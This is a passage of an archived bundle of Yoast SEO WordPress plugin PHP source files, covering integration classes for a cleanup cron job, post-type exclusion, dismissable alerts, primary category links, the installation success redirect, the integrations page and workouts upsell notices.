	 */
	private function get_additional_misc_cleanups() {

		/**
		 * Filter: Adds the possibility to add additional non-indexable cleanup functions.
		 *
		 * @param array $additional_tasks Associative array with unique keys. Value should be a cleanup function that receives a limit.
		 */
		$additional_tasks = \apply_filters( 'wpseo_misc_cleanup_tasks', [] );

		return $this->validate_additional_tasks( $additional_tasks );
	}

	/**
	 * Validates the additional tasks.
	 *
	 * @param Closure[] $additional_tasks The additional tasks to validate.
	 *
	 * @return Closure[] The validated additional tasks.
	 */
	private function validate_additional_tasks( $additional_tasks ) {
		if ( ! \is_array( $additional_tasks ) ) {
			return [];
		}

		foreach ( $additional_tasks as $key => $value ) {
			if ( \is_int( $key ) ) {
				return [];
			}
			if ( ( ! \is_object( $value ) ) || ! ( $value instanceof Closure ) ) {
				return [];
			}
		}

		return $additional_tasks;
	}

	/**
	 * Gets the deletion limit for cleanups.
	 *
	 * @return int The limit for the amount of entities to be cleaned.
	 */
	private function get_limit() {
		/**
		 * Filter: Adds the possibility to limit the number of items that are deleted from the database on cleanup.
		 *
		 * @param int $limit Maximum number of indexables to be cleaned up per query.
		 */
		$limit = \apply_filters( 'wpseo_cron_query_limit_size', 1000 );

		if ( ! \is_int( $limit ) ) {
			$limit = 1000;
		}

		return \abs( $limit );
	}

	/**
	 * Resets and stops the cleanup integration.
	 *
	 * @return void
	 */
	public function reset_cleanup() {
		\delete_option( self::CURRENT_TASK_OPTION );
		\wp_unschedule_hook( self::CRON_HOOK );
	}

	/**
	 * Starts the cleanup cron job.
	 *
	 * @param string $task_name     The task name of the next cleanup task to run.
	 * @param int    $schedule_time The time in seconds to wait before running the first cron job. Default is 1 hour.
	 *
	 * @return void
	 */
	public function start_cron_job( $task_name, $schedule_time = 3600 ) {
		\update_option( self::CURRENT_TASK_OPTION, $task_name );
		\wp_schedule_event(
			( \time() + $schedule_time ),
			'hourly',
			self::CRON_HOOK
		);
	}

	/**
	 * The callback that is called for the cleanup cron job.
	 *
	 * @return void
	 */
	public function run_cleanup_cron() {
		if ( ! $this->indexable_helper->should_index_indexables() ) {
			$this->reset_cleanup();

			return;
		}

		$current_task_name = \get_option( self::CURRENT_TASK_OPTION );

		if ( $current_task_name === false ) {
			$this->reset_cleanup();

			return;
		}

		$limit = $this->get_limit();
		$tasks = $this->get_cleanup_tasks();

		// The task may have been added by a filter that has been removed, in that case just start over.
		if ( ! isset( $tasks[ $current_task_name ] ) ) {
			$current_task_name = \key( $tasks );
		}

		$current_task = \current( $tasks );
		while ( $current_task !== false ) {
			// Skip the tasks that have already been done.
			if ( \key( $tasks ) !== $current_task_name ) {
				$current_task = \next( $tasks );
				continue;
			}

			// Call the cleanup callback function that accompanies the current task.
			$items_cleaned = $current_task( $limit );

			if ( $items_cleaned === false ) {
				$this->reset_cleanup();

				return;
			}

			if ( $items_cleaned === 0 ) {
				// Check if we are finished with all tasks.
				if ( \next( $tasks ) === false ) {
					$this->reset_cleanup();

					return;
				}

				// Continue with the next task next time the cron job is run.
				\update_option( self::CURRENT_TASK_OPTION, \key( $tasks ) );

				return;
			}

			// There were items deleted for the current task, continue with the same task next cron call.
			return;
		}
	}
}
integrations/abstract-exclude-post-type.php000066600000002216152204306260015164 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

/**
 * Abstract class for excluding certain post types from being indexed.
 */
abstract class Abstract_Exclude_Post_Type implements Integration_Interface {

	/**
	 * Initializes the integration.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_indexable_excluded_post_types', [ $this, 'exclude_post_types' ] );
	}

	/**
	 * Exclude the post type from the indexable table.
	 *
	 * @param array $excluded_post_types The excluded post types.
	 *
	 * @return array The excluded post types, including the specific post type.
	 */
	public function exclude_post_types( $excluded_post_types ) {
		return \array_merge( $excluded_post_types, $this->get_post_type() );
	}

	/**
	 * This integration is only active when the child class's conditionals are met.
	 *
	 * @return string[] The conditionals.
	 */
	public static function get_conditionals() {
		return [];
	}

	/**
	 * Returns the names of the post types to be excluded.
	 * To be used in the wpseo_indexable_excluded_post_types filter.
	 *
	 * @return array The names of the post types.
	 */
	abstract public function get_post_type();
}
integrations/alerts/abstract-dismissable-alert.php000066600000001645152204306260016474 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Alerts;

use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Dismissable_Alert class.
 */
abstract class Abstract_Dismissable_Alert implements Integration_Interface {

	/**
	 * Holds the alert identifier.
	 *
	 * @var string
	 */
	protected $alert_identifier;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [];
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_allowed_dismissable_alerts', [ $this, 'register_dismissable_alert' ] );
	}

	/**
	 * Registers the dismissable alert.
	 *
	 * @param string[] $allowed_dismissable_alerts The allowed dismissable alerts.
	 *
	 * @return string[] The allowed dismissable alerts.
	 */
	public function register_dismissable_alert( $allowed_dismissable_alerts ) {
		$allowed_dismissable_alerts[] = $this->alert_identifier;

		return $allowed_dismissable_alerts;
	}
}
integrations/alerts/trustpilot-review-notification.php000066600000000461152204306260017476 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Alerts;

/**
 * Trustpilot_Review_Notification class.
 */
class Trustpilot_Review_Notification extends Abstract_Dismissable_Alert {

	/**
	 * Holds the alert identifier.
	 *
	 * @var string
	 */
	protected $alert_identifier = 'trustpilot-review-notification';
}
integrations/integration-interface.php000066600000000652152204306260014253 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use Yoast\WP\SEO\Loadable_Interface;

/**
 * An interface for registering integrations with WordPress.
 *
 * @codeCoverageIgnore It represents an interface.
 */
interface Integration_Interface extends Loadable_Interface {

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks();
}
integrations/exclude-oembed-cache-post-type.php000066600000001460152204306260015655 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use Yoast\WP\SEO\Conditionals\Migrations_Conditional;

/**
 * Excludes certain oEmbed Cache-specific post types from the indexable table.
 *
 * Posts with these post types will not be saved to the indexable table.
 */
class Exclude_Oembed_Cache_Post_Type extends Abstract_Exclude_Post_Type {

	/**
	 * This integration is only active when the database migrations have been run.
	 *
	 * @return string[] The conditionals.
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Returns the names of the post types to be excluded.
	 * To be used in the wpseo_indexable_excluded_post_types filter.
	 *
	 * @return array The names of the post types.
	 */
	public function get_post_type() {
		return [ 'oembed_cache' ];
	}
}
integrations/primary-category.php000066600000003716152204306260013274 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use stdClass;
use WP_Error;
use WP_Post;
use WPSEO_Primary_Term;
use Yoast\WP\SEO\Conditionals\Primary_Category_Conditional;

/**
 * Adds customizations to the front end for the primary category.
 */
class Primary_Category implements Integration_Interface {

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * In this case only when on the frontend, the post overview, post edit or new post admin page.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [ Primary_Category_Conditional::class ];
	}

	/**
	 * Registers a filter to change a post's primary category.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'post_link_category', [ $this, 'post_link_category' ], 10, 3 );
	}

	/**
	 * Filters post_link_category to change the category to the chosen category by the user.
	 *
	 * @param stdClass     $category   The category that is now used for the post link.
	 * @param array|null   $categories This parameter is not used.
	 * @param WP_Post|null $post       The post in question.
	 *
	 * @return array|object|WP_Error|null The category we want to use for the post link.
	 */
	public function post_link_category( $category, $categories = null, $post = null ) {
		$post = \get_post( $post );
		if ( $post === null ) {
			return $category;
		}

		$primary_category = $this->get_primary_category( $post );
		if ( $primary_category !== false && $primary_category !== $category->cat_ID ) {
			$category = \get_category( $primary_category );
		}

		return $category;
	}

	/**
	 * Get the id of the primary category.
	 *
	 * @codeCoverageIgnore It justs wraps a dependency.
	 *
	 * @param WP_Post $post The post in question.
	 *
	 * @return int Primary category id.
	 */
	protected function get_primary_category( $post ) {
		$primary_term = new WPSEO_Primary_Term( 'category', $post->ID );

		return $primary_term->get_primary_term();
	}
}
integrations/admin/installation-success-integration.php000066600000010063152204306260017547 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Installation_Success_Integration class
 */
class Installation_Success_Integration implements Integration_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * The product helper.
	 *
	 * @var Product_Helper
	 */
	protected $product_helper;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Installation_Success_Integration constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 * @param Product_Helper $product_helper The product helper.
	 */
	public function __construct( Options_Helper $options_helper, Product_Helper $product_helper ) {
		$this->options_helper = $options_helper;
		$this->product_helper = $product_helper;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_filter( 'admin_menu', [ $this, 'add_submenu_page' ], 9 );
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
		\add_action( 'admin_init', [ $this, 'maybe_redirect' ] );
	}

	/**
	 * Redirects to the installation success page if an installation has just occurred.
	 *
	 * @return void
	 */
	public function maybe_redirect() {
		if ( \defined( 'DOING_AJAX' ) && \DOING_AJAX ) {
			return;
		}

		if ( ! $this->options_helper->get( 'should_redirect_after_install_free', false ) ) {
			return;
		}
		$this->options_helper->set( 'should_redirect_after_install_free', false );

		if ( ! empty( $this->options_helper->get( 'activation_redirect_timestamp_free', 0 ) ) ) {
			return;
		}
		$this->options_helper->set( 'activation_redirect_timestamp_free', \time() );

		// phpcs:ignore WordPress.Security.NonceVerification -- This is not a form.
		if ( isset( $_REQUEST['activate-multi'] ) && $_REQUEST['activate-multi'] === 'true' ) {
			return;
		}

		if ( $this->product_helper->is_premium() ) {
			return;
		}

		if ( \is_network_admin() || \is_plugin_active_for_network( \WPSEO_BASENAME ) ) {
			return;
		}

		\wp_safe_redirect( \admin_url( 'admin.php?page=wpseo_installation_successful_free' ), 302, 'Yoast SEO' );
		$this->terminate_execution();
	}

	/**
	 * Adds the installation success submenu page.
	 *
	 * @param array $submenu_pages The Yoast SEO submenu pages.
	 *
	 * @return array the filtered submenu pages.
	 */
	public function add_submenu_page( $submenu_pages ) {
		\add_submenu_page(
			'',
			\__( 'Installation Successful', 'wordpress-seo' ),
			'',
			'manage_options',
			'wpseo_installation_successful_free',
			[ $this, 'render_page' ]
		);

		return $submenu_pages;
	}

	/**
	 * Enqueue assets on the Installation success page.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Date is not processed or saved.
		if ( ! isset( $_GET['page'] ) || $_GET['page'] !== 'wpseo_installation_successful_free' ) {
			return;
		}

		$asset_manager = new WPSEO_Admin_Asset_Manager();
		$asset_manager->enqueue_script( 'installation-success' );
		$asset_manager->enqueue_style( 'tailwind' );
		$asset_manager->enqueue_style( 'monorepo' );

		$ftc_url = \esc_url( \admin_url( 'admin.php?page=wpseo_dashboard#/first-time-configuration' ) );

		$asset_manager->localize_script(
			'installation-success',
			'wpseoInstallationSuccess',
			[
				'pluginUrl'                 => \esc_url( \plugins_url( '', \WPSEO_FILE ) ),
				'firstTimeConfigurationUrl' => $ftc_url,
				'dashboardUrl'              => \esc_url( \admin_url( 'admin.php?page=wpseo_dashboard' ) ),
			]
		);
	}

	/**
	 * Renders the installation success page.
	 *
	 * @return void
	 */
	public function render_page() {
		echo '<div id="wpseo-installation-successful-free" class="yoast"></div>';
	}

	/**
	 * Wrap the `exit` function to make unit testing easier.
	 *
	 * @return void
	 */
	public function terminate_execution() {
		exit;
	}
}
integrations/admin/integrations-page.php000066600000023470152204306260014505 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Easy_Digital_Downloads;
use SeriouslySimplePodcasting\Integrations\Yoast\Schema\PodcastEpisode;
use TEC\Events\Integrations\Plugins\WordPress_SEO\Events_Schema;
use WP_Recipe_Maker;
use WPSEO_Addon_Manager;
use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Jetpack_Conditional;
use Yoast\WP\SEO\Conditionals\Third_Party\Elementor_Activated_Conditional;
use Yoast\WP\SEO\Dashboard\Infrastructure\Endpoints\Site_Kit_Consent_Management_Endpoint;
use Yoast\WP\SEO\Dashboard\Infrastructure\Integrations\Site_Kit;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Woocommerce_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Integrations_Page class
 */
class Integrations_Page implements Integration_Interface {

	/**
	 * The Woocommerce helper.
	 *
	 * @var Woocommerce_Helper
	 */
	private $woocommerce_helper;

	/**
	 * The admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $admin_asset_manager;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The elementor conditional.
	 *
	 * @var Elementor_Activated_Conditional
	 */
	private $elementor_conditional;

	/**
	 * The jetpack conditional.
	 *
	 * @var Jetpack_Conditional
	 */
	private $jetpack_conditional;

	/**
	 * The site kit integration configuration data.
	 *
	 * @var Site_Kit
	 */
	private $site_kit_integration_data;

	/**
	 * The site kit consent management endpoint.
	 *
	 * @var Site_Kit_Consent_Management_Endpoint
	 */
	private $site_kit_consent_management_endpoint;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Workouts_Integration constructor.
	 *
	 * @param WPSEO_Admin_Asset_Manager            $admin_asset_manager                  The admin asset manager.
	 * @param Options_Helper                       $options_helper                       The options helper.
	 * @param Woocommerce_Helper                   $woocommerce_helper                   The WooCommerce helper.
	 * @param Elementor_Activated_Conditional      $elementor_conditional                The elementor conditional.
	 * @param Jetpack_Conditional                  $jetpack_conditional                  The Jetpack conditional.
	 * @param Site_Kit                             $site_kit_integration_data            The site kit integration
	 *                                                                                   configuration data.
	 * @param Site_Kit_Consent_Management_Endpoint $site_kit_consent_management_endpoint The site kit consent
	 *                                                                                   management endpoint.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $admin_asset_manager,
		Options_Helper $options_helper,
		Woocommerce_Helper $woocommerce_helper,
		Elementor_Activated_Conditional $elementor_conditional,
		Jetpack_Conditional $jetpack_conditional,
		Site_Kit $site_kit_integration_data,
		Site_Kit_Consent_Management_Endpoint $site_kit_consent_management_endpoint
	) {
		$this->admin_asset_manager                  = $admin_asset_manager;
		$this->options_helper                       = $options_helper;
		$this->woocommerce_helper                   = $woocommerce_helper;
		$this->elementor_conditional                = $elementor_conditional;
		$this->jetpack_conditional                  = $jetpack_conditional;
		$this->site_kit_integration_data            = $site_kit_integration_data;
		$this->site_kit_consent_management_endpoint = $site_kit_consent_management_endpoint;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_submenu_pages', [ $this, 'add_submenu_page' ], 10 );
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ], 11 );
	}

	/**
	 * Adds the integrations submenu page.
	 *
	 * @param array $submenu_pages The Yoast SEO submenu pages.
	 *
	 * @return array The filtered submenu pages.
	 */
	public function add_submenu_page( $submenu_pages ) {
		$integrations_page = [
			'wpseo_dashboard',
			'',
			\__( 'Integrations', 'wordpress-seo' ),
			'wpseo_manage_options',
			'wpseo_integrations',
			[ $this, 'render_target' ],
		];

		\array_splice( $submenu_pages, 1, 0, [ $integrations_page ] );

		return $submenu_pages;
	}

	/**
	 * Enqueue the integrations app.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Date is not processed or saved.
		if ( ! isset( $_GET['page'] ) || $_GET['page'] !== 'wpseo_integrations' ) {
			return;
		}

		$this->admin_asset_manager->enqueue_style( 'admin-css' );
		$this->admin_asset_manager->enqueue_style( 'tailwind' );
		$this->admin_asset_manager->enqueue_style( 'monorepo' );

		$this->admin_asset_manager->enqueue_script( 'integrations-page' );

		$woocommerce_seo_file = 'wpseo-woocommerce/wpseo-woocommerce.php';
		$acf_seo_file         = 'acf-content-analysis-for-yoast-seo/yoast-acf-analysis.php';
		$acf_seo_file_github  = 'yoast-acf-analysis/yoast-acf-analysis.php';
		$algolia_file         = 'wp-search-with-algolia/algolia.php';
		$old_algolia_file     = 'search-by-algolia-instant-relevant-results/algolia.php';

		$addon_manager             = new WPSEO_Addon_Manager();
		$woocommerce_seo_installed = $addon_manager->is_installed( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG );

		$woocommerce_seo_active   = \is_plugin_active( $woocommerce_seo_file );
		$woocommerce_active       = $this->woocommerce_helper->is_active();
		$acf_seo_installed        = \file_exists( \WP_PLUGIN_DIR . '/' . $acf_seo_file );
		$acf_seo_github_installed = \file_exists( \WP_PLUGIN_DIR . '/' . $acf_seo_file_github );
		$acf_seo_active           = \is_plugin_active( $acf_seo_file );
		$acf_seo_github_active    = \is_plugin_active( $acf_seo_file_github );
		$acf_active               = \class_exists( 'acf' );
		$algolia_active           = \is_plugin_active( $algolia_file );
		$edd_active               = \class_exists( Easy_Digital_Downloads::class );
		$old_algolia_active       = \is_plugin_active( $old_algolia_file );
		$tec_active               = \class_exists( Events_Schema::class );
		$ssp_active               = \class_exists( PodcastEpisode::class );
		$wp_recipe_maker_active   = \class_exists( WP_Recipe_Maker::class );
		$mastodon_active          = $this->is_mastodon_active();

		$woocommerce_seo_activate_url = \wp_nonce_url(
			\self_admin_url( 'plugins.php?action=activate&plugin=' . $woocommerce_seo_file ),
			'activate-plugin_' . $woocommerce_seo_file
		);

		if ( $acf_seo_installed ) {
			$acf_seo_activate_url = \wp_nonce_url(
				\self_admin_url( 'plugins.php?action=activate&plugin=' . $acf_seo_file ),
				'activate-plugin_' . $acf_seo_file
			);
		}
		else {
			$acf_seo_activate_url = \wp_nonce_url(
				\self_admin_url( 'plugins.php?action=activate&plugin=' . $acf_seo_file_github ),
				'activate-plugin_' . $acf_seo_file_github
			);
		}

		$acf_seo_install_url = \wp_nonce_url(
			\self_admin_url( 'update.php?action=install-plugin&plugin=acf-content-analysis-for-yoast-seo' ),
			'install-plugin_acf-content-analysis-for-yoast-seo'
		);

		$this->admin_asset_manager->localize_script(
			'integrations-page',
			'wpseoIntegrationsData',
			[
				'semrush_integration_active'         => $this->options_helper->get( 'semrush_integration_active', true ),
				'allow_semrush_integration'          => $this->options_helper->get( 'allow_semrush_integration_active', true ),
				'algolia_integration_active'         => $this->options_helper->get( 'algolia_integration_active', false ),
				'allow_algolia_integration'          => $this->options_helper->get( 'allow_algolia_integration_active', true ),
				'wincher_integration_active'         => $this->options_helper->get( 'wincher_integration_active', true ),
				'allow_wincher_integration'          => null,
				'elementor_integration_active'       => $this->elementor_conditional->is_met(),
				'jetpack_integration_active'         => $this->jetpack_conditional->is_met(),
				'woocommerce_seo_installed'          => $woocommerce_seo_installed,
				'woocommerce_seo_active'             => $woocommerce_seo_active,
				'woocommerce_active'                 => $woocommerce_active,
				'woocommerce_seo_activate_url'       => $woocommerce_seo_activate_url,
				'acf_seo_installed'                  => $acf_seo_installed || $acf_seo_github_installed,
				'acf_seo_active'                     => $acf_seo_active || $acf_seo_github_active,
				'acf_active'                         => $acf_active,
				'acf_seo_activate_url'               => $acf_seo_activate_url,
				'acf_seo_install_url'                => $acf_seo_install_url,
				'algolia_active'                     => $algolia_active || $old_algolia_active,
				'edd_integration_active'             => $edd_active,
				'ssp_integration_active'             => $ssp_active,
				'tec_integration_active'             => $tec_active,
				'wp-recipe-maker_integration_active' => $wp_recipe_maker_active,
				'mastodon_active'                    => $mastodon_active,
				'is_multisite'                       => \is_multisite(),
				'plugin_url'                         => \plugins_url( '', \WPSEO_FILE ),
				'site_kit_configuration'             => $this->site_kit_integration_data->to_array(),
				'site_kit_consent_management_url'    => $this->site_kit_consent_management_endpoint->get_url(),
			]
		);
	}

	/**
	 * Renders the target for the React to mount to.
	 *
	 * @return void
	 */
	public function render_target() {
		?>
		<div class="wrap yoast wpseo-admin-page page-wpseo">
			<div class="wp-header-end" style="height: 0; width: 0;"></div>
			<div id="wpseo-integrations"></div>
		</div>
		<?php
	}

	/**
	 * Checks whether the Mastodon profile field has been filled in.
	 *
	 * @return bool
	 */
	private function is_mastodon_active() {
		return \apply_filters( 'wpseo_mastodon_active', false );
	}
}
integrations/admin/workouts-integration.php000066600000026062152204306260015303 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Addon_Manager;
use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Notice_Presenter;

/**
 * WorkoutsIntegration class
 */
class Workouts_Integration implements Integration_Interface {

	/**
	 * The admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $admin_asset_manager;

	/**
	 * The addon manager.
	 *
	 * @var WPSEO_Addon_Manager
	 */
	private $addon_manager;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The product helper.
	 *
	 * @var Product_Helper
	 */
	private $product_helper;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Workouts_Integration constructor.
	 *
	 * @param WPSEO_Addon_Manager       $addon_manager       The addon manager.
	 * @param WPSEO_Admin_Asset_Manager $admin_asset_manager The admin asset manager.
	 * @param Options_Helper            $options_helper      The options helper.
	 * @param Product_Helper            $product_helper      The product helper.
	 */
	public function __construct(
		WPSEO_Addon_Manager $addon_manager,
		WPSEO_Admin_Asset_Manager $admin_asset_manager,
		Options_Helper $options_helper,
		Product_Helper $product_helper
	) {
		$this->addon_manager       = $addon_manager;
		$this->admin_asset_manager = $admin_asset_manager;
		$this->options_helper      = $options_helper;
		$this->product_helper      = $product_helper;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_submenu_pages', [ $this, 'add_submenu_page' ], 8 );
		\add_filter( 'wpseo_submenu_pages', [ $this, 'remove_old_submenu_page' ], 10 );
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ], 11 );
	}

	/**
	 * Adds the workouts submenu page.
	 *
	 * @param array $submenu_pages The Yoast SEO submenu pages.
	 *
	 * @return array The filtered submenu pages.
	 */
	public function add_submenu_page( $submenu_pages ) {
		$submenu_pages[] = [
			'wpseo_dashboard',
			'',
			\__( 'Workouts', 'wordpress-seo' ) . ' <span class="yoast-badge yoast-premium-badge"></span>',
			'edit_others_posts',
			'wpseo_workouts',
			[ $this, 'render_target' ],
		];

		return $submenu_pages;
	}

	/**
	 * Removes the workouts submenu page from older Premium versions
	 *
	 * @param array $submenu_pages The Yoast SEO submenu pages.
	 *
	 * @return array The filtered submenu pages.
	 */
	public function remove_old_submenu_page( $submenu_pages ) {
		if ( ! $this->should_update_premium() ) {
			return $submenu_pages;
		}

		// Copy only the Workouts page item that comes first in the array.
		$result_submenu_pages      = [];
		$workouts_page_encountered = false;
		foreach ( $submenu_pages as $item ) {
			if ( $item[4] !== 'wpseo_workouts' || ! $workouts_page_encountered ) {
				$result_submenu_pages[] = $item;
			}
			if ( $item[4] === 'wpseo_workouts' ) {
				$workouts_page_encountered = true;
			}
		}

		return $result_submenu_pages;
	}

	/**
	 * Enqueue the workouts app.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Date is not processed or saved.
		if ( ! isset( $_GET['page'] ) || $_GET['page'] !== 'wpseo_workouts' ) {
			return;
		}

		if ( $this->should_update_premium() ) {
			\wp_dequeue_script( 'yoast-seo-premium-workouts' );
		}

		$this->admin_asset_manager->enqueue_style( 'workouts' );

		$workouts_option = $this->get_workouts_option();
		$ftc_url         = \esc_url( \admin_url( 'admin.php?page=wpseo_dashboard#/first-time-configuration' ) );

		$this->admin_asset_manager->enqueue_script( 'workouts' );
		$this->admin_asset_manager->localize_script(
			'workouts',
			'wpseoWorkoutsData',
			[
				'workouts'                  => $workouts_option,
				'homeUrl'                   => \home_url(),
				'pluginUrl'                 => \esc_url( \plugins_url( '', \WPSEO_FILE ) ),
				'toolsPageUrl'              => \esc_url( \admin_url( 'admin.php?page=wpseo_tools' ) ),
				'usersPageUrl'              => \esc_url( \admin_url( 'users.php' ) ),
				'firstTimeConfigurationUrl' => $ftc_url,
				'isPremium'                 => $this->product_helper->is_premium(),
				'upsellText'                => $this->get_upsell_text(),
				'upsellLink'                => $this->get_upsell_link(),
			]
		);
	}

	/**
	 * Renders the target for the React to mount to.
	 *
	 * @return void
	 */
	public function render_target() {
		if ( $this->should_update_premium() ) {
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped in get_update_premium_notice.
			echo $this->get_update_premium_notice();
		}

		echo '<div id="wpseo-workouts-container-free" class="yoast"></div>';
	}

	/**
	 * Gets the workouts option.
	 *
	 * @return mixed|null Returns workouts option if found, null if not.
	 */
	private function get_workouts_option() {
		$workouts_option = $this->options_helper->get( 'workouts_data' );

		// This filter is documented in src/routes/workouts-route.php.
		return \apply_filters( 'Yoast\WP\SEO\workouts_options', $workouts_option );
	}

	/**
	 * Returns the notification to show when Premium needs to be updated.
	 *
	 * @return string The notification to update Premium.
	 */
	private function get_update_premium_notice() {
		$url = $this->get_upsell_link();

		if ( $this->has_premium_subscription_expired() ) {
			/* translators: %s: expands to 'Yoast SEO Premium'. */
			$title = \sprintf( \__( 'Renew your subscription of %s', 'wordpress-seo' ), 'Yoast SEO Premium' );
			$copy  = \sprintf(
				/* translators: %s: expands to 'Yoast SEO Premium'. */
				\esc_html__(
					'Accessing the latest workouts requires an updated version of %s (at least 17.7), but it looks like your subscription has expired. Please renew your subscription to update and gain access to all the latest features.',
					'wordpress-seo'
				),
				'Yoast SEO Premium'
			);
			$button = '<a class="yoast-button yoast-button-upsell yoast-button--small" href="' . \esc_url( $url ) . '" target="_blank">'
					. \esc_html__( 'Renew your subscription', 'wordpress-seo' )
					/* translators: Hidden accessibility text. */
					. '<span class="screen-reader-text">' . \__( '(Opens in a new browser tab)', 'wordpress-seo' ) . '</span>'
					. '<span aria-hidden="true" class="yoast-button-upsell__caret"></span>'
					. '</a>';
		}
		elseif ( $this->has_premium_subscription_activated() ) {
			/* translators: %s: expands to 'Yoast SEO Premium'. */
			$title = \sprintf( \__( 'Update to the latest version of %s', 'wordpress-seo' ), 'Yoast SEO Premium' );
			$copy  = \sprintf(
				/* translators: 1: expands to 'Yoast SEO Premium', 2: Link start tag to the page to update Premium, 3: Link closing tag. */
				\esc_html__( 'It looks like you\'re running an outdated version of %1$s, please %2$supdate to the latest version (at least 17.7)%3$s to gain access to our updated workouts section.', 'wordpress-seo' ),
				'Yoast SEO Premium',
				'<a href="' . \esc_url( $url ) . '">',
				'</a>'
			);
			$button = null;
		}
		else {
			/* translators: %s: expands to 'Yoast SEO Premium'. */
			$title      = \sprintf( \__( 'Activate your subscription of %s', 'wordpress-seo' ), 'Yoast SEO Premium' );
			$url_button = 'https://yoa.st/workouts-activate-notice-help';
			$copy       = \sprintf(
				/* translators: 1: expands to 'Yoast SEO Premium', 2: Link start tag to the page to update Premium, 3: Link closing tag. */
				\esc_html__( 'It looks like you’re running an outdated and unactivated version of %1$s, please activate your subscription in %2$sMyYoast%3$s and update to the latest version (at least 17.7) to gain access to our updated workouts section.', 'wordpress-seo' ),
				'Yoast SEO Premium',
				'<a href="' . \esc_url( $url ) . '">',
				'</a>'
			);
			$button = '<a class="yoast-button yoast-button--primary yoast-button--small" href="' . \esc_url( $url_button ) . '" target="_blank">'
					. \esc_html__( 'Get help activating your subscription', 'wordpress-seo' )
					/* translators: Hidden accessibility text. */
					. '<span class="screen-reader-text">' . \__( '(Opens in a new browser tab)', 'wordpress-seo' ) . '</span>'
					. '</a>';
		}

		$notice = new Notice_Presenter(
			$title,
			$copy,
			null,
			$button
		);

		return $notice->present();
	}

	/**
	 * Check whether Premium should be updated.
	 *
	 * @return bool Returns true when Premium is enabled and the version is below 17.7.
	 */
	private function should_update_premium() {
		$premium_version = $this->product_helper->get_premium_version();
		return $premium_version !== null && \version_compare( $premium_version, '17.7-RC1', '<' );
	}

	/**
	 * Check whether the Premium subscription has expired.
	 *
	 * @return bool Returns true when Premium subscription has expired.
	 */
	private function has_premium_subscription_expired() {
		$subscription = $this->addon_manager->get_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG );

		return ( isset( $subscription->expiry_date ) && ( \strtotime( $subscription->expiry_date ) - \time() ) < 0 );
	}

	/**
	 * Check whether the Premium subscription is activated.
	 *
	 * @return bool Returns true when Premium subscription is activated.
	 */
	private function has_premium_subscription_activated() {
		return $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG );
	}

	/**
	 * Returns the upsell/update copy to show in the card buttons.
	 *
	 * @return string Returns a string with the upsell/update copy for the card buttons.
	 */
	private function get_upsell_text() {
